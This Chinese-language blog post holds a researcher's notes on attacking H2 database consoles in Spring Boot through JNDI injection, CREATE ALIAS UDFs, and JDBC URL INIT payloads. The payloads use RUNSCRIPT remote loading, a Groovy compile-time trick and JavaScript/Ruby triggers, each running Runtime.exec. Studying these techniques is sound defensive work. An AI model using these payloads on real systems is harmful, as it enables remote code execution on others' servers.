h2 database 攻击总结
date
Jun 22, 2022
slug
h2-database-attack-method
status
Published
tags
Java安全
安全研究
summary
来自Litch1大哥的《Make JDBC Attack Brilliant Again》学习记录
type
Post
Console触发JNDI注入
h2 database是一个Java下使用的内存数据库。在Springboot开发时,如果设置了如下这些选项且安装了h2 database(可能并不常见):
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
就会为你的Web应用增加一个path:/h2-console/
,不过这个path可以使用spring.h2.console.path
来修改。这一段逻辑代码在springboot中,而不是h2-database,所以你可以认为这是springboot
的一个trick。
spring.h2.console.settings.web-allow-others
设置为true,则允许任意用户访问console,通过配置这里面的Driver CLASS和JDBC URL,即可触发一个JNDI注入漏洞。
众所周知,传统的JNDI注入漏洞会受到Java版本的影响,8u191以后LDAP方式的远程类加载被禁用了。但因为这里是使用了springboot,而其中通常会内置Tomcat,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令,不会受到Java版本的影响(这是绕过jdk版本限制的一种方法)
以vulhub的demo为例:
访问/h2-console/,使用这个工具可以构建https://github.com/JosephTribbianni/JNDI org.apache.naming.factory.BeanFactory加EL表达式注入
前提需要修改配置文件,里面可以设置命令
配置这个URL就是
org.apache.naming.factory.BeanFactory
加EL表达式注入触发的时候需要
javax.naming.InitialContext
是JNDI的工厂类触发通过UDF进行命令执行
这个操作的前提是得满足可以自行创建数据库的操作之上,那么这里就有个坑,h2版本
1.4.197
是可以自行创建db的,197之后不会自动创建,攻击面就小了很多了环境搭建:
新建一个Springboot项目,引入pom
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
<version>1.4.197</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<version>2.2.6.RELEASE</version>
</dependency>
application.properties开启这两个选项确保Springboot开启console并且保证远程 Web 可以访问 H2 数据库的信息。
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
此时启动就可以访问
/h2-console
路由即可,点击connect就会进入到可以操作SQL语句的界面h2的UDF可以通过
CREATE ALIAS
构建 ,那么就可以通过UDF去构建一个构建一个自定义函数,这个函数实现命令执行的效果,这里的$$
表示无需转义的长字符串。CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator.app');
如果高版本的h2话,要如何操作,在P牛的文章里面可以了解到可以使用
jar
去启动这个web服务(内置的服务),但是需要参数-webAllowOthers
-ifNotExists
打开上述直接未授权的页面:(感觉一般都会跟Springboot一起使用吧),java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
通过JDBC触发UDF执行
上述UDF和这个点下的所有利用还是需要前提条件,就是默认可以自行建立数据库,也就是这两个参数的问题:
开启 -webAllowOthers 选项,支持外网访问
开启 -ifNotExists 选项,支持创建数据库
出网场景
上述场景是一个多SQL语句执行的场景,但是在不能进入这个未授权的可执行SQL语句的界面的条件下,我们可控点就剩下JDBC的URL了,但是这个URL能否执行语句是一个问题
Litch1大哥找到了一个init配置,这个配置是JDBC URL中支持的一个配置 INIT , INIT 这个参数表示在连接h2数据库时,支持执行一条初始化命令
可以调试一下这个执行流程,h2的init命令会进入到
org.h2.engine.Engine#openSession(org.h2.engine.ConnectionInfo)
这个函数,然后在init进入处理分支执行命令,注意这里的命令是只允许是单条命令的,所以init操作只允许单条命令使用这个怎么触发多语句呢?可以配合
RUNSCRIPT
命令进行执行,这个命令是可以加载sql文件进行执行的,但是官网上只给了这么几个demo,但是在源码里面是明显支持触发远程加载的在执行到
org.h2.store.fs.FilePathDisk#newInputStream
这个函数的时候,有一个分支执行的是URL加载,所以可以利用这个点进行远程加载之后会在
org.h2.command.dml.RunScriptCommand#execute
函数中执行sql文件里面的内容:整个操作流程如下,只需要构建好远程的sql文件,JDBC URL执行这个命令
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
远程的sql文件内容
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator.app');
触发Test Connection
不出网:
上述方式只是方便出网时候进行操作,如果不出网的话,就需要思考另外的思路方向了,Litch1找到了另外一个方法,因为在使用
CREATE ALIAS
命令发现在 SQL 语句中对于 JAVA 方法的定义被交给了org.h2.util.SourceCompiler
这个类,有三种支持的编译器:Java/Javascript/Groovy这里关注groovy,在
org.h2.util.SourceCompiler#getClass
函数中会先判断isGroovySource
, 也就是//groovy
开头或者是@groovy
开头,最后触发的点在GroovyCompiler.parseClass
这个
GroovyCompiler.parseClass
sink点就是当年🍊师傅在https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html 这篇文章里面提及到的内容就是利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。 这个特性正适合我们:我们在JDBC连接时只允许执行一条SQL语句,所以我们只能“定义”UDF,而不 能“执行”UDF。而这个元编程技巧就是让一些语句能在定义(编译)的过程中就被执行。
所以触发的时候只需要改造一下JDBC URL里面
CREATE ALIAS
就能够触发,但是!!!!这个点是需要Groovy依赖的,所以测试的时候还是把依赖给加上jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("open -a calculator.app")
})
def x$$
直接Test Connection就能够触发
上述情况还是不怎么通用,因为需要依赖,上面提到使用了
CREATE ALIAS
触发UDF操作,但是h2中还有另外一个自定函数的操作CREATE TRIGGER
,官网上是这样描述的,这个东西使用org.h2.api.Trigger
类去触发,然后支持javascript和ruby的引擎对比之下,
javascript
引擎更加通用,Java 8原生自带了JavaScript的脚本引擎,触发点是在这个地方org.h2.schema.TriggerObject#loadFromSource
,会先判断一下开头是不是//javascript
所以最后构造一个这样的JDBC URL,注意这里javascript后面是需要换行的,所以一般操作的时候输入到浏览器抓包改发最稳妥
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('open -a calculator.app')
$$
那Ruby的要怎么操作呢,需要添加上JRuby的依赖
<dependency>
<groupId>org.jruby</groupId>
<artifactId>jruby-core</artifactId>
<version>9.2.13.0</version>
</dependency>
然后构造这样的payload,同样ruby也是需要换行的操作
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$#ruby
java.lang.Runtime.getRuntime().exec('open -a calculator.app')
$$